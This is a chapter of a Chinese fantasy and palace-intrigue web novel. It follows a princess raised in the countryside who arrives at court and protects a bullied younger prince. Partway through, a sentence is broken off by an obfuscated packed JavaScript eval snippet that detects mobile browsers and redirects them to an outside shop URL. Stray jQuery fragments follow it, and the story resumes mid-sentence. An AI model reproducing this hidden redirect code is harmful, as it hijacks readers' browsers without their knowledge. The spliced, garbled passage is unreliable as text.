2. 第2章

作品:《我为阿姐掌魂灯

    “知道化神池吗?”


    掌心焰照亮了长魇的脸。他用术法散了身上的血腥味,好一会儿才看向她。


    璃心木讷问:“你说的是藏魔窟的东西?”


    这是他们进藏魔窟的第五日,这一路上顺利的有些怪异了,为了好应付接下来的魔族他们决定先休息片刻。


    算起来,这也是长魇第二次来藏魔窟了,这里的路他多多少少还记得些,除此之外的那就是靠那些前辈撰写的笔记多了解了解。他一听璃心这语气,便知道蓬莱境的那些人是根本不曾给这位新的蓬莱之主说过藏魔窟的情况的。


    “化神池相当于藏魔窟的心脏,那里的浊气也是最强盛的,若是不慎落入化神池之中,那便是神魂俱散。”长魇见她听得用心,倒也没心没肺和她开了个玩笑话,“你没来过,就不怕有来无回吗?”


    “我自有记忆起就是需要为蓬莱境献出一切的,不管干什么都是由着他们安排,我只需要当他们顺手的刃就行。”璃心对自己身上的血腥味没太多的感觉,长魇多少有些看不下去,便将长袍一角撕下递给她,“川主呢?川主会怕吗?”


    长魇早已看透人世间的真情假意,但也是这会儿知道,蓬莱仙境的上神也会如此。他有些自嘲地笑了一会儿,慢慢回答:“我还有一个未了的心愿,可不能死在这里。”


    藏魔窟路型复杂,据古籍记载,在化神池四方都有镇神幡,入侵的神族一旦逼近便会被镇神幡勾住神魂最终被送入化神池成为藏魔窟的养分。


    这东西本是蓬莱境为惩罚罪神的刑具,为何会落到藏魔窟至今无人知道。


    “这里已经接近藏魔窟的中心地带了吧?魔物几乎不敢往这里靠近,你不觉得奇怪?”璃心的长戟几乎再没有沾过血,他们也不知道在这沙地走了多久。几乎是她刚说完这话,前面的风沙便主动散开,映入眼帘的是那立于四方的镇神幡。


    璃心将自己的长戟深插在沙地上,用灵力妄想收回镇神幡。


    “拿几个破旗子,就想挑战蓬莱境的权威?”


    长魇盯着那丝毫未被牵动的镇神幡,心下猛地一紧。


    “不好,镇神幡的作用被倒置了,后退!”


    璃心早已经被镇神幡勾住魂魄,手上连接镇神幡的线逐渐将她扯近,若是完全靠近了镇神幡,恐怕是再也出不去这地方了。


    “璃心、璃心,璃心——”


    璃心几乎无法挣扎,那四面镇神幡将他们团团围住,强行将他们的神魂镇压。


    “川主,无须挣扎了。”一道黑影来到长魇身后,形如鬼魅,“此次便是专为你设下的局,你的弱点便在这美梦里吧?”


    方才这脚下还是荒芜沙地,顷刻,黑水蔓至膝间,长魇奋力抓住璃心的手想要冲破阻碍,可他越是激发自己的灵力,自己的意识便也越来越模糊。


    “你会喜欢这份礼物的。”


    ……


    一千年前,人族三国互相制衡——北离、南都以及东川。


    东川虽在其中,但鲜少参与两国纷争,直到北离国君秦燔继位,东川就此再无痕迹可寻。


    马车停在蜀州一处不知名的镇子外,凉夜里,一名约莫十一、二岁的小姑娘,额上系着孝带,脚步虚浮,就这么慢慢走着也没人催促她。


    她已经不知道自己上一次合眼是什么时候了,但终是身体没能扛住,哐当一声砸在了泥石坑里,瞬间不省人事。


    “殿下!”


    据随行的侍女说,她已经睡了一天一夜,马车也即将抵达宫门。


    “殿下,这是路上买的一些吃食,陛下说您喜欢甜口,所以奴婢都挑了些。”说着,绿衣侍女将一筐食盒打开,等着面前这位即将回京的“北离七公主”挑拣一番。


    秦朝寻是在乡野里长大的,再难咽下的东西,为了能饱肚她也能吃下,可现在她却一点儿也吃不下。


    “我爹爹……”她也是突然想起来自己不能再和平常孩子一样如此称呼自己的父亲,一时之间她还是难以改口,“陛下会见我吗?”


    侍女不知道秦朝寻是否想吃,也不敢这么快收起来。她知道秦朝寻对进京会有所不安,只好将出行前从公公那学的话背了一遍:“陛下近来要接待南都的使臣,待这段时间过了就能和殿下聚一聚了。”


    北离国君秦燔一共十三子,排行第七的秦朝寻也是他的第一个女儿。这位出自蜀州乡野地方的公主进京自然无法被宫里的姊妹们所接纳,所以在宫门外,秦朝寻就被人来了个下马威。


    “吁——”那人骑着马拦在这进宫的必经之路上,随行保护秦朝寻安全的小将军很是恭敬道,“六皇子,还请让一让。”


    这六皇子倒是一点儿话也不听,架着马冲上去,将马车的帘子生生拽下来。他在马上居高临下看着车内的人,满是挑衅,“这宫道可不好认啊,七妹不如趁着这机会好好认认路。”


    小将军恨不能拔剑出鞘制止,这时候身后的马车有了动静。


    只见侍女扶着秦朝寻下来,她还穿着那身沾了泥的白布衣,脸也被磕得不像样,尽管如此,她仍敢直着腰板与那马上的人对视。


    六皇子秦硕是皇子里最心高气傲的一位,他母妃也偏得皇帝喜爱,有了八公主之后更是无人敢奈何他。


    “七妹这眼神是想杀了我?还是想去给父王告状,让我们知道他有多在意你吗?”


    秦朝寻方才在车上没听太清楚,偏头找侍女确认了一下他的身份,这才慢慢回答:“六皇子说得也是,下面这段路我自己走。”


    秦硕倒是没想到秦朝寻这么好对付,他立刻故作不好惹的姿态,咳道:“等等。”


    “我身子不好,六皇子还有什么要说的就快些吧。”


    “我再给你一个选择,你立刻坐着马车回蜀州永不回京,我每月给你百两银子。”


    “百两是多少?”


    秦硕被问题噎住,急道:“那自然是一百两!”


    “不够。”秦朝寻笑着举起了手掌,“五百两,黄金。”


    “你……”秦硕从没吃过这么大一个瘪,待秦朝寻背对着他离开,他才渐渐露出了从容不迫的神情,“那就拭目以待,七公主。”


    这宫道仅仅是皇宫的入口罢了,秦朝寻服软答应秦硕走去自己的宫殿,那完全就是给自己找不痛快。


    “殿下,吃点吧,”侍女把糕点递过来,秦朝寻这次倒是接的顺手,“这儿去殿下的宫殿不远的,晚膳前咱们就能到。”


    秦朝寻看着两边让人压抑的宫墙也确实有了想回蜀州的念头,她看着眼下只她二人,就不再避讳问起了自己这些个兄弟姐妹的事儿来。


    侍女倒是知无不言的类型,秦朝寻也挺喜欢她。


    “方才那位六皇子是丽妃娘娘的长子,八公主也是他的亲妹妹。六皇子许是怕七殿下会同八公主争宠,所以这才来为难您。”小侍女说起话来就会放慢脚步,然后只好小跑跟上,“大皇子和二皇子则是祯贵妃娘娘所生,两位殿下继承了陛下的骑术和剑术常常随军驻扎在野外,有时候逢年过节都回不来一次呢。”


    这些年长的皇子们倒是懂如何为皇帝分忧,包括六皇子,秦朝寻觉得他也没表面上那么简单,否则那个小将军不会忍到秦朝寻下马车还无反应。


    “三皇子是个书痴,所以陛下让他在学堂当教,科举的试题他可出过几次,后来不知道什么原因他也不去学堂教书了,一个人待在自己的宫殿里,英妃娘娘上门几次都没能见到人。”


    三皇子听起来像是受了什么挫,不过他作为一个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992161|193763||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    书呆子,应该也不会给人使畔子,“除了八公主,还有几位小皇子吧?”


    她们也走得不慢,太阳还没有完全落下去,仔细听,这附近竟然还有流水声和月桂的香味。秦朝寻瞬间被吸引,指着即将路过的那处小径入口问:“那是什么地方?”


    “那是……”侍女明显也愣了半刻,正想着怎么让秦朝寻跟着她先走,结果一回过神就看着人跑了进去,“诶,七公主!”


    穿过小径能看到成排的桂花树,这处地方没有太高的城墙围着,是目前来让秦朝寻最安心的地方。树后有一条小溪,许是这地方香气萦绕,就连水也有了淡淡的香味。


    但就是在这寻常院子里,宁静也是如此的可遇不可求。


    “秦惟,你个没妈养的野孩子,凭什么跟着我们一起去太学馆!就连夫子也偏心你,我告诉你,明天要是让我看见你去了太学馆,你明天就瘸着腿爬回去吧!”


    “殿下。”侍女追上来拉住秦朝寻,眼神一下就变得凌厉起来。她死死拉着秦朝寻,朝她摇头道,“那两位皇子都是不好招惹的,殿下还是不要去帮小殿下了……当年贵妃留下十二皇子秦惟就服毒自尽,宫里的娘娘们也都将他视作灾星,甚至是皇子们都没人瞧得起他。”


    “你也知道他被欺负,为什么要拦着我?”


    “殿下,那两位皇子身后都有娘娘做靠山,若是殿下过去替十二皇子解围,那您可想好了自己以后如何在这宫里立住脚?奴婢不愿看到殿下成为第二个像十二皇子一样的可怜人。”


    这侍女不知道的是,秦朝寻也和十二皇子一样自小没了母亲,所以就算冒着被排挤的风险她也想拉秦惟一把。


    同病相怜的人才知道跌入谷底时伸出的那双手有多温暖。


    “都给我住手!”秦朝寻跑上去将小小一个的秦惟护在自己身后,“你们谁敢再欺负他一下?”


    “哪里来的丑八怪?不让开就连着你一起打。”


    因为没有宫里那些条条框框束缚,这么多年她都是活得随心所欲。在他们镇子里从没有仗势欺人的事,即便有人起了冲突,他们都会找自己的过错,最后互相赔礼道歉。秦朝寻对自己的能力很清楚,不然她不会贸然冲上去替人解围。


    身后的小皇子怕她跟着自己吃苦头,喊道:“不管我没事的,他们不敢再怎么样。”


    嚣张的两个皇子一个选择分散秦朝寻的注意力,另一个绕到后面抓秦惟。秦朝寻发了狠一般朝十皇子脸上打,最后也是忘了收力,这砸在肚子上的一拳稍微重了些。


    “你再敢动一下十哥哥试试!信不信我今天就溺死这个小野种。”


    十一皇子将秦惟推到假山水池边,一手抓着秦惟的后颈将人摁进水池。


    秦朝寻没想到这不过九、十岁的孩子就如此胆大,她无奈之下只好将十皇子踹远,转头就跑上去拉秦惟一把。


    十一皇子仗着自己身量比秦惟高,将人翻进水池里,自己则是绕开秦朝寻扶着十皇子落荒而逃。


    一直在入口躲着的侍女这会儿终于敢露面,水池的水刚好到秦朝寻腰间,救人虽然没什么难的,可这水太凉也伤身体,“殿下!殿下您没事吧?”


    “咳咳……咳……”


    秦惟被秦朝寻捞出来,嘴里还不停吐着池水。


    “都咳出来了吗?”秦朝寻拍拍他的背,很是担心,“你的下人呢?他们就任凭着你被欺负?”


    秦惟咳得眼眶都是红的,里面明显有泪,但他偏偏忍得住。


    “姐、姐姐,为什么会救我?”


    秦朝寻不太懂什么高深莫测的话术哄小孩,心疼地蹲下来撕下衣角替他擦干头发。良久,她朝他伸出手。


    “你既叫我一声姐姐,那今后便由我来护着你吧?”